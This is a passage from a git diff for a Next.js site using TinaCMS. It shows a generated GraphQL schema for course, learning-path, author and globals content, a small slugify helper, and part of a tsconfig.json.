[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"ID"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_sys"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"SystemInfo"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_values"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"DatetimeFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"after"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"before"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"eq"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"exists"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Boolean"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"in"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CoursePathFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"learningPath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathFilter"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"ImageFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"startsWith"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"eq"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"exists"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Boolean"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"in"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"NumberFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"lt"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"lte"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"gte"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"gt"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"eq"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"exists"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Boolean"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"in"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseOverviewFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"learnings"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"preRequisites"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseAuthorsAuthorFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"author"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"AuthorFilter"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseAuthorsFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"author"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseAuthorsAuthorFilter"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"RichTextFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"startsWith"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"eq"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"exists"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Boolean"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseSectionsLessonsUpdatesFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"description"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"date"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"DatetimeFilter"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseSectionsLessonsFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"lessonId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"number"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"NumberFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"slug"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"description"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"duration"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"NumberFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"videoUrl"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"rawMarkdownUrl"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"markdownContent"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"RichTextFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"updates"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseSectionsLessonsUpdatesFilter"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseSectionsFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"sectionId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"number"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"NumberFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"slug"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"lessons"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseSectionsLessonsFilter"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"courseId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"slug"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"createdAt"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"DatetimeFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"updatedAt"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"DatetimeFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"path"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CoursePathFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"githubUrl"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"previewImg"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"ImageFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"duration"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"NumberFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"description"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"overview"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseOverviewFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"authors"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseAuthorsFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"sections"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseSectionsFilter"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"CourseConnectionEdges"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"cursor"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"node"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"Course"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[{"kind":"NamedType","name":{"kind":"Name","value":"Connection"}}],"directives":[],"name":{"kind":"Name","value":"CourseConnection"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"pageInfo"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"PageInfo"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"totalCount"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"edges"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseConnectionEdges"}}}}]},{"kind":"ObjectTypeDefinition","interfaces":[{"kind":"NamedType","name":{"kind":"Name","value":"Node"}},{"kind":"NamedType","name":{"kind":"Name","value":"Document"}}],"directives":[],"name":{"kind":"Name","value":"Globals"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"content"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"id"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"ID"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_sys"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"SystemInfo"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_values"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"GlobalsFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"content"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"RichTextFilter"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"GlobalsConnectionEdges"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"cursor"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"node"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"Globals"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[{"kind":"NamedType","name":{"kind":"Name","value":"Connection"}}],"directives":[],"name":{"kind":"Name","value":"GlobalsConnection"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"pageInfo"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"PageInfo"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"totalCount"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"edges"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"GlobalsConnectionEdges"}}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"Mutation"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"addPendingDocument"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"collection"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"template"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentNode"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"updateDocument"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"collection"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentUpdateMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentNode"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"deleteDocument"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"collection"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentNode"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"createDocument"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"collection"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentNode"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"updateAuthor"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"AuthorMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Author"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"createAuthor"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"AuthorMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Author"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"updateLearningPath"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPath"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"createLearningPath"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPath"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"updateCourse"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Course"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"createCourse"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Course"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"updateGlobals"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"GlobalsMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Globals"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"createGlobals"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"params"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"GlobalsMutation"}}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Globals"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"DocumentUpdateMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"author"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"AuthorMutation"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"learningPath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathMutation"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"course"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseMutation"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"globals"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"GlobalsMutation"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"DocumentMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"author"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"AuthorMutation"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"learningPath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathMutation"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"course"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseMutation"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"globals"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"GlobalsMutation"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"AuthorMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"authorId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"name"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"role"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"avatarUrl"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"company"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"LearningPathCoursesMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"course"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"LearningPathMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"learningPathId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"description"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"courses"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathCoursesMutation"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseOverviewMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"learnings"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"preRequisites"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseAuthorsMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"author"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseSectionsLessonsUpdatesMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"description"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"date"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseSectionsLessonsMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"lessonId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"number"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"slug"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"description"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"duration"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"videoUrl"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"rawMarkdownUrl"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"markdownContent"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"updates"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseSectionsLessonsUpdatesMutation"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseSectionsMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"sectionId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"number"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"slug"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"lessons"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseSectionsLessonsMutation"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"CourseMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"courseId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"slug"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"createdAt"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"updatedAt"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"path"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"githubUrl"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"previewImg"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"duration"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"description"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"overview"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseOverviewMutation"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"authors"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseAuthorsMutation"}}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"sections"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseSectionsMutation"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"GlobalsMutation"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"content"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}}]}]}} \ No newline at end of file diff --git a/tina/utils.ts b/tina/utils.ts new file mode 100644 index 00000000..e558ca87 --- /dev/null +++ b/tina/utils.ts @@ -0,0 +1,12 @@ +const slugify = (text: string): string => { + return text + .toString() + .toLowerCase() + .replace(/\s+/g, "-") // Replace spaces with - + .replace(/[^\w-]+/g, "") // Remove all non-word chars + .replace(/--+/g, "-") // Replace multiple - with single - + .replace(/^-+/, "") // Trim - from start of text + .replace(/-+$/, ""); // Trim - from end of text +}; + +export { slugify }; diff --git a/tsconfig.json b/tsconfig.json new file mode 100644 index 00000000..27505fea --- /dev/null +++ b/tsconfig.json @@ -0,0 +1,39 @@ +{ + "compilerOptions": { + "target": "es6", + "lib": [ + "dom", + "dom.iterable", + "esnext" + ], + "allowJs": true, + "skipLibCheck": true, + "strict": false, + "forceConsistentCasingInFileNames": true, + "noEmit": true, + "esModuleInterop": true, + "module": "esnext", + "moduleResolution": "node", + "resolveJsonModule": true, + "isolatedModules": true, + "jsx": "preserve", + "incremental": true, + "plugins": [ + { + "name": "next" + } + ], + "strictNullChecks": true + }, + "exclude": [ + "node_modules" + ], + "include": [ + "next-env.d.ts", + "**/*.ts", + "**/*.tsx", + ".forestry/types.ts", + 